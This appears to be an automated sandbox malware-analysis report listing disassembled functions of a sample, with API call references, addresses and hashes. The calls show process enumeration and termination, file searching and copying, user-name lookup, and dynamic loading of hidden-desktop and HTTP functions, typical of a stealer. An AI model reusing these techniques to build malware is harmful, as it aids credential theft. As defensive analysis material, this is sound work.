Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: \*.*
API String ID: 2567437900-1173974218
Opcode ID: 668ea61a77c544b8eccaeaa960876068c7609ded49b9000a8dd64cc97129db62
Instruction ID: e73ea28191eb0cbea26f7d438d5019861def95d52c5fe6f0c72ff1bd57479ae0
Opcode Fuzzy Hash: 668ea61a77c544b8eccaeaa960876068c7609ded49b9000a8dd64cc97129db62
Instruction Fuzzy Hash: 20414F307102159BCB22EF29DEC9A9F77A5AF14308F04113AB845A72E1DFB89D458F98

Function 00421DC0 Relevance: 13.6, APIs: 9, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: b7df213417092e843da0a48d84c8aeb55ed900a7355b06edfc84b0ca494666af
Instruction ID: 99c442af194c17dcdf968dcb4d09652326eda7df30839eed1b73e61910dd0112
Opcode Fuzzy Hash: b7df213417092e843da0a48d84c8aeb55ed900a7355b06edfc84b0ca494666af
Instruction Fuzzy Hash: B74173317003169FC720AFA5ED49B9F76A6AF14754F85003AF901A72E1DF78E905CB98

Function 004248B0 Relevance: 13.6, APIs: 9, Instructions: 54processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 004248C9
Process32First.KERNEL32(00000000,00000128), ref: 004248D9
Process32Next.KERNEL32(00000000,00000128), ref: 004248EB
StrCmpCA.SHLWAPI(?,?), ref: 004248FD
OpenProcess.KERNEL32(00000001,00000000,?), ref: 00424912
TerminateProcess.KERNEL32(00000000,00000000), ref: 00424921
CloseHandle.KERNEL32(00000000), ref: 00424928
Process32Next.KERNEL32(00000000,00000128), ref: 00424936
CloseHandle.KERNEL32(00000000), ref: 00424941

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: Process32$CloseHandleNextProcess$CreateFirstOpenSnapshotTerminateToolhelp32
String ID:
API String ID: 3836391474-0
Opcode ID: 31794d220843fc32869daf0815515cd9fdb01cafa73083098f7cfc23eab11e6d
Instruction ID: 956b9cb34166e2898696d065da2ac792d61c713baa536d295fc307e1a52bb286
Opcode Fuzzy Hash: 31794d220843fc32869daf0815515cd9fdb01cafa73083098f7cfc23eab11e6d
Instruction Fuzzy Hash: 44016D71601224ABE7215B70EC89FFB377DEB88B51F00119DF90596290EFB899848EB5

Function 00414C89 Relevance: 12.1, APIs: 8, Instructions: 102stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 00414CB1
lstrcpy.KERNEL32(00000000,00000000), ref: 00414CD4
lstrcatA.KERNEL32(00000000,00000000), ref: 00414CDF
lstrlenA.KERNEL32(00434CAC), ref: 00414CEA
lstrcpy.KERNEL32(00000000,00000000), ref: 00414D07
lstrcatA.KERNEL32(00000000,00434CAC), ref: 00414D13
lstrcpy.KERNEL32(00000000,00000000), ref: 00414D3E
FindFirstFileA.KERNEL32(00000000,?), ref: 00414D5A

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID:
API String ID: 2567437900-0
Opcode ID: b9791e959a951dca45ead928a50f4070118d1be2aecc88c5e5a20f817d7ef865
Instruction ID: 2188a32fbf4e6a0b4f9b772520c90557e0a13864a53baa824b4ba8594ccc1ee6
Opcode Fuzzy Hash: b9791e959a951dca45ead928a50f4070118d1be2aecc88c5e5a20f817d7ef865
Instruction Fuzzy Hash: E63150317111159BCB22EF69EE89A9F77B5AF90308F00113AF805A72D1DFB89C458F98

Function 00422DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000), ref: 00422E12
HeapAlloc.KERNEL32(00000000), ref: 00422E19
GetTimeZoneInformation.KERNEL32(?), ref: 00422E28
wsprintfA.USER32 ref: 00422E53

Strings

wwww, xrefs: 00422E39

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID: wwww
API String ID: 362916592-671953474
Opcode ID: 90b710c9931f944b22adb0b58dfc5f5fa46652bc0e070347157d94c4ec96aef4
Instruction ID: d3f77cef834098ffeccbd46f0f4a789f2a84d6478323b56bfce13bc23d63551d
Opcode Fuzzy Hash: 90b710c9931f944b22adb0b58dfc5f5fa46652bc0e070347157d94c4ec96aef4
Instruction Fuzzy Hash: 9101F771A04614ABC71C9B58DD4AB6AB76AE784720F10432AF916D73C0D7B459008AE5

Function 0041CCD0 Relevance: 4.6, APIs: 3, Instructions: 89comstringCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0042B118,00000000,00000001,0042B108,?), ref: 0041CCF6
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000104), ref: 0041CD36
lstrcpyn.KERNEL32(?,?,00000104), ref: 0041CDB9

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWidelstrcpyn
String ID:
API String ID: 1940255200-0
Opcode ID: fe593649648515e5dbf2a9e5eaedce2b853c1197e0113e915a7c4e922af68d0d
Instruction ID: b417bfa1b5f8b9adc06c74851a0af2d18bf16198ead1cb00fe19d88cc3a8fa69
Opcode Fuzzy Hash: fe593649648515e5dbf2a9e5eaedce2b853c1197e0113e915a7c4e922af68d0d
Instruction Fuzzy Hash: A1316171A40625AFD710DB98DC81FEAB7B9DB88B10F104195FA04EB2D0D7B1AE44CBE4

Function 00422C10 Relevance: 4.5, APIs: 3, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,00000000,00000000), ref: 00422C3F
HeapAlloc.KERNEL32(00000000), ref: 00422C46
GetUserNameA.ADVAPI32(00000000,00000104), ref: 00422C5A

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: fa738ee861b1d682c4ad799a473bde607761e807e886556c509f5aa502afa864
Instruction ID: eafcfd8408abf31dcdc5f7efa7efe72b9a9e0bda40d3ebfab19b25c76b2a2745
Opcode Fuzzy Hash: fa738ee861b1d682c4ad799a473bde607761e807e886556c509f5aa502afa864
Instruction Fuzzy Hash: B2F054B1A44614AFD710DF98DD49B9ABBBCF744B61F10021AF915E3680D7B419048BE1

Function 004268F0 Relevance: 210.7, APIs: 115, Strings: 5, Instructions: 696
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,00867A08), ref: 00426905
GetProcAddress.KERNEL32(74DD0000,00867A28), ref: 0042691D
GetProcAddress.KERNEL32(74DD0000,00869728), ref: 00426936
GetProcAddress.KERNEL32(74DD0000,008696B0), ref: 0042694E
GetProcAddress.KERNEL32(74DD0000,00869740), ref: 00426966
GetProcAddress.KERNEL32(74DD0000,008696C8), ref: 0042697F
GetProcAddress.KERNEL32(74DD0000,0086C188), ref: 00426997
GetProcAddress.KERNEL32(74DD0000,00869758), ref: 004269AF
GetProcAddress.KERNEL32(74DD0000,008696E0), ref: 004269C8
GetProcAddress.KERNEL32(74DD0000,008696F8), ref: 004269E0
GetProcAddress.KERNEL32(74DD0000,00869710), ref: 004269F8
GetProcAddress.KERNEL32(74DD0000,00867A48), ref: 00426A11
GetProcAddress.KERNEL32(74DD0000,00867A88), ref: 00426A29
GetProcAddress.KERNEL32(74DD0000,00867AC8), ref: 00426A41
GetProcAddress.KERNEL32(74DD0000,00867AE8), ref: 00426A5A
GetProcAddress.KERNEL32(74DD0000,00871760), ref: 00426A72
GetProcAddress.KERNEL32(74DD0000,00871868), ref: 00426A8A
GetProcAddress.KERNEL32(74DD0000,0086C250), ref: 00426AA3
GetProcAddress.KERNEL32(74DD0000,00867B08), ref: 00426ABB
GetProcAddress.KERNEL32(74DD0000,00871808), ref: 00426AD3
GetProcAddress.KERNEL32(74DD0000,008717F0), ref: 00426AEC
GetProcAddress.KERNEL32(74DD0000,008717A8), ref: 00426B04
GetProcAddress.KERNEL32(74DD0000,008718B0), ref: 00426B1C
GetProcAddress.KERNEL32(74DD0000,00867768), ref: 00426B35
GetProcAddress.KERNEL32(74DD0000,008716E8), ref: 00426B4D
GetProcAddress.KERNEL32(74DD0000,00871670), ref: 00426B65
GetProcAddress.KERNEL32(74DD0000,00871730), ref: 00426B7E
GetProcAddress.KERNEL32(74DD0000,008716A0), ref: 00426B96
GetProcAddress.KERNEL32(74DD0000,00871748), ref: 00426BAE
GetProcAddress.KERNEL32(74DD0000,008718E0), ref: 00426BC7
GetProcAddress.KERNEL32(74DD0000,00871718), ref: 00426BDF
GetProcAddress.KERNEL32(74DD0000,00871778), ref: 00426BF7
GetProcAddress.KERNEL32(74DD0000,00871790), ref: 00426C10
GetProcAddress.KERNEL32(74DD0000,0086BD10), ref: 00426C28
GetProcAddress.KERNEL32(74DD0000,008717C0), ref: 00426C40
GetProcAddress.KERNEL32(74DD0000,00871820), ref: 00426C59
GetProcAddress.KERNEL32(74DD0000,00867B28), ref: 00426C71
GetProcAddress.KERNEL32(74DD0000,008717D8), ref: 00426C89
GetProcAddress.KERNEL32(74DD0000,008677A8), ref: 00426CA2
GetProcAddress.KERNEL32(74DD0000,00871838), ref: 00426CBA
GetProcAddress.KERNEL32(74DD0000,00871850), ref: 00426CD2
GetProcAddress.KERNEL32(74DD0000,008677C8), ref: 00426CEB
GetProcAddress.KERNEL32(74DD0000,008677E8), ref: 00426D03
LoadLibraryA.KERNEL32(00871880,004206EF,?,00422075), ref: 00426D15
LoadLibraryA.KERNEL32(00871898,?,00422075), ref: 00426D26
LoadLibraryA.KERNEL32(008718C8,?,00422075), ref: 00426D38
LoadLibraryA.KERNEL32(008718F8,?,00422075), ref: 00426D4A
LoadLibraryA.KERNEL32(00871610,?,00422075), ref: 00426D5B
LoadLibraryA.KERNEL32(00871658,?,00422075), ref: 00426D6D
LoadLibraryA.KERNEL32(00871628,?,00422075), ref: 00426D7F
LoadLibraryA.KERNEL32(00871640,?,00422075), ref: 00426D90
GetProcAddress.KERNEL32(75290000,00867DA8), ref: 00426DAC
GetProcAddress.KERNEL32(75290000,00871688), ref: 00426DC4
GetProcAddress.KERNEL32(75290000,008697F0), ref: 00426DDD
GetProcAddress.KERNEL32(75290000,008716B8), ref: 00426DF5
GetProcAddress.KERNEL32(75290000,00867E48), ref: 00426E0D
GetProcAddress.KERNEL32(6FC70000,0086C1D8), ref: 00426E2D
GetProcAddress.KERNEL32(6FC70000,00867BE8), ref: 00426E45
GetProcAddress.KERNEL32(6FC70000,0086BE18), ref: 00426E5E
GetProcAddress.KERNEL32(6FC70000,008716D0), ref: 00426E76
GetProcAddress.KERNEL32(6FC70000,00871700), ref: 00426E8E
GetProcAddress.KERNEL32(6FC70000,00867E28), ref: 00426EA7
GetProcAddress.KERNEL32(6FC70000,00867C28), ref: 00426EBF
GetProcAddress.KERNEL32(6FC70000,00871928), ref: 00426ED7
GetProcAddress.KERNEL32(752C0000,00867E68), ref: 00426EF3
GetProcAddress.KERNEL32(752C0000,00867EC8), ref: 00426F0B
GetProcAddress.KERNEL32(752C0000,00871940), ref: 00426F24
GetProcAddress.KERNEL32(752C0000,00871958), ref: 00426F3C
GetProcAddress.KERNEL32(752C0000,00867C48), ref: 00426F54
GetProcAddress.KERNEL32(74EC0000,0086BE90), ref: 00426F74
GetProcAddress.KERNEL32(74EC0000,0086C098), ref: 00426F8C
GetProcAddress.KERNEL32(74EC0000,00871970), ref: 00426FA5
GetProcAddress.KERNEL32(74EC0000,00867C08), ref: 00426FBD
GetProcAddress.KERNEL32(74EC0000,00867E88), ref: 00426FD5
GetProcAddress.KERNEL32(74EC0000,0086BEB8), ref: 00426FEE
GetProcAddress.KERNEL32(75BD0000,00871988), ref: 0042700E
GetProcAddress.KERNEL32(75BD0000,00867F08), ref: 00427026
GetProcAddress.KERNEL32(75BD0000,008698E0), ref: 0042703F
GetProcAddress.KERNEL32(75BD0000,008719A0), ref: 00427057
GetProcAddress.KERNEL32(75BD0000,00871910), ref: 0042706F
GetProcAddress.KERNEL32(75BD0000,00867C68), ref: 00427088
GetProcAddress.KERNEL32(75BD0000,00867C88), ref: 004270A0
GetProcAddress.KERNEL32(75BD0000,008719B8), ref: 004270B8
GetProcAddress.KERNEL32(75BD0000,008719D0), ref: 004270D1
GetProcAddress.KERNEL32(75BD0000,CreateDesktopA), ref: 004270E7
GetProcAddress.KERNEL32(75BD0000,OpenDesktopA), ref: 004270FE
GetProcAddress.KERNEL32(75BD0000,CloseDesktop), ref: 00427115
GetProcAddress.KERNEL32(75A70000,00867CE8), ref: 00427131
GetProcAddress.KERNEL32(75A70000,00871AD8), ref: 00427149
GetProcAddress.KERNEL32(75A70000,00871B98), ref: 00427162
GetProcAddress.KERNEL32(75A70000,00871B20), ref: 0042717A
GetProcAddress.KERNEL32(75A70000,00871A78), ref: 00427192
GetProcAddress.KERNEL32(75450000,00867D88), ref: 004271AE
GetProcAddress.KERNEL32(75450000,00867B68), ref: 004271C6
GetProcAddress.KERNEL32(75DA0000,00867D08), ref: 004271E2
GetProcAddress.KERNEL32(75DA0000,00871AF0), ref: 004271FA
GetProcAddress.KERNEL32(6F070000,00867CC8), ref: 0042721A
GetProcAddress.KERNEL32(6F070000,00867D28), ref: 00427232
GetProcAddress.KERNEL32(6F070000,00867D68), ref: 0042724B
GetProcAddress.KERNEL32(6F070000,00871C28), ref: 00427263
GetProcAddress.KERNEL32(6F070000,00867B88), ref: 0042727B
GetProcAddress.KERNEL32(6F070000,00867CA8), ref: 00427294
GetProcAddress.KERNEL32(6F070000,00867DC8), ref: 004272AC
GetProcAddress.KERNEL32(6F070000,00867EA8), ref: 004272C4
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 004272DB
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 004272F2
GetProcAddress.KERNEL32(75AF0000,00871B38), ref: 0042730E
GetProcAddress.KERNEL32(75AF0000,00869960), ref: 00427326
GetProcAddress.KERNEL32(75AF0000,00871A30), ref: 0042733F
GetProcAddress.KERNEL32(75AF0000,00871BF8), ref: 00427357
GetProcAddress.KERNEL32(75D90000,00867EE8), ref: 00427373
GetProcAddress.KERNEL32(6C390000,00871AC0), ref: 0042738F
GetProcAddress.KERNEL32(6C390000,00867BA8), ref: 004273A7
GetProcAddress.KERNEL32(6C390000,00871D00), ref: 004273C0
GetProcAddress.KERNEL32(6C390000,00871B50), ref: 004273D8

Strings

HttpQueryInfoA, xrefs: 004272E7
InternetSetOptionA, xrefs: 004272D0
CloseDesktop, xrefs: 0042710A
OpenDesktopA, xrefs: 004270F3
CreateDesktopA, xrefs: 004270E1

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: CloseDesktop$CreateDesktopA$HttpQueryInfoA$InternetSetOptionA$OpenDesktopA
API String ID: 2238633743-3468015613
Opcode ID: 2883cf5092a06c1f654f1ea880dfa72b03916e22f0cb699bb160642ada8bd00a
Instruction ID: a2e4a68e25a8a5b5ebc6ca9ee8fb4e22e77819d7a8dd759769c50ea34b46318c
Opcode Fuzzy Hash: 2883cf5092a06c1f654f1ea880dfa72b03916e22f0cb699bb160642ada8bd00a
Instruction Fuzzy Hash: E8625EB9A103009FD758DF65ED88AA637BBF789345310A91DF95683364DBB4A800DFB0

Function 0040BF20 Relevance: 136.7, APIs: 90, Instructions: 1719stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040BF5F
lstrlenA.KERNEL32(008697D0), ref: 0040BF78
lstrcpy.KERNEL32(00000000,?), ref: 0040BFA2
lstrcatA.KERNEL32(00000000,00000000), ref: 0040BFAA
lstrlenA.KERNEL32(0043179C), ref: 0040BFB5
lstrcpy.KERNEL32(00000000,00000000), ref: 0040BFD5
lstrcatA.KERNEL32(00000000,0043179C), ref: 0040BFE1
lstrcpy.KERNEL32(00000000,?), ref: 0040C00C
lstrcatA.KERNEL32(00000000,00000000), ref: 0040C017
lstrlenA.KERNEL32(00869830), ref: 0040C025
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C04E
lstrcatA.KERNEL32(00000000,00869830), ref: 0040C056
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C084
lstrlenA.KERNEL32(008697D0), ref: 0040C0A9
lstrcpy.KERNEL32(00000000,?), ref: 0040C0D3
lstrcatA.KERNEL32(00000000,00000000), ref: 0040C0DB
lstrlenA.KERNEL32(0043179C), ref: 0040C0E6
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C106
lstrcatA.KERNEL32(00000000,0043179C), ref: 0040C112
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C13B
lstrcatA.KERNEL32(00000000,00000000), ref: 0040C146
lstrlenA.KERNEL32(00434BA0), ref: 0040C151
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C173
lstrcatA.KERNEL32(00000000,00434BA0), ref: 0040C17F
lstrcpy.KERNEL32(00000000,?), ref: 0040C1A7
lstrcatA.KERNEL32(00000000,00000000), ref: 0040C1B2
lstrlenA.KERNEL32(00869830), ref: 0040C1C1
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C1E7
lstrcatA.KERNEL32(00000000,00000000), ref: 0040C1F2
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C220
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040C2BF
lstrcpy.KERNEL32(00000000,00000000), ref: 0040C319

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen
String ID:
API String ID: 2762123234-0
Opcode ID: bb0aeb73b06a207db74d6451fe8f1920c1d14726c9bc8b05175aded32e43d29d
Instruction ID: 94d6d12bfa5b923ce2f7f4043ca188f0d4d7bf76aeb22d3a32208ddbc4fdc03c
Opcode Fuzzy Hash: bb0aeb73b06a207db74d6451fe8f1920c1d14726c9bc8b05175aded32e43d29d
Instruction Fuzzy Hash: E3E24E70A01206DFDB24DF65D988A6AB7B5AF44304F18817EE809AB3E1D779DC42CF94

Function 0040A340 Relevance: 118.0, APIs: 78, Instructions: 1041stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040A372
lstrlenA.KERNEL32(00871B08), ref: 0040A381
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A3A4
lstrcatA.KERNEL32(00000000,00000000), ref: 0040A3AF
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A3D5
lstrcpy.KERNEL32(00000000,?), ref: 0040A411
lstrcatA.KERNEL32(00000000), ref: 0040A41B
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A444
CopyFileA.KERNEL32(?,00000000,00000001), ref: 0040A460
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040A48F
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040A4F5
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A549
lstrcpy.KERNEL32(00000000,00000000), ref: 0040A589

Memory Dump Source

Source File: 00000002.00000002.2393604821.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2393604821.0000000000484000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004B5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.00000000004D4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000567000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2393604821.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_795F.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$CopyFilelstrlen
String ID:
API String ID: 3790741607-0
Opcode ID: daea3faed98c5f5747e56f919ee63b9bf117aa0b5188112324dc88fab27a1729
Instruction ID: 3fa7036442dcaa65f561cb6ae7591f36667c19f5433b72c541209af086145f7c
Opcode Fuzzy Hash: daea3faed98c5f5747e56f919ee63b9bf117aa0b5188112324dc88fab27a1729
Instruction Fuzzy Hash: 8F823D71A112169FCB21AB69CD48AAF77B6AF44304F04413AE805B73E1DB78DC15CFA9

Function 0040F770 Relevance: 101.5, APIs: 67, Instructions: 1017stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040F7AE
lstrlenA.KERNEL32(00871B08), ref: 0040F7BD
lstrcpy.KERNEL32(00000000,00000000), ref: 0040F7E0
lstrcatA.KERNEL32(00000000,00000000), ref: 0040F7EB
lstrcpy.KERNEL32(00000000,00000000), ref: 0040F811
lstrcpy.KERNEL32(00000000,?), ref: 0040F852
lstrcatA.KERNEL32(00000000), ref: 0040F85C
lstrcpy.KERNEL32(00000000,00000000), ref: 0040F885
CopyFileA.KERNEL32(?,00000000,00000001), ref: 0040F8A4
lstrcpy.KERNEL32(00000000,Function_0002CFF4), ref: 0040F8D4
lstrlenA.KERNEL32(00869870), ref: 0040F8E3
lstrcpy.KERNEL32(00000000,00000000), ref: 0040F90B
lstrcatA.KERNEL32(00000000,00000000), ref: 0040F916
lstrcpy.KERNEL32(00000000,00000000), ref: 0040F93F
lstrlenA.KERNEL32(0043179C), ref: 0040F951
lstrcpy.KERNEL32(00000000,00000000), ref: 0040F973
lstrcatA.KERNEL32(00000000,0043179C), ref: 0040F97F
lstrcpy.KERNEL32(00000000,00000000), ref: 0040F9A8
lstrcpy.KERNEL32(00000000,00000000), ref: 0040F9D7
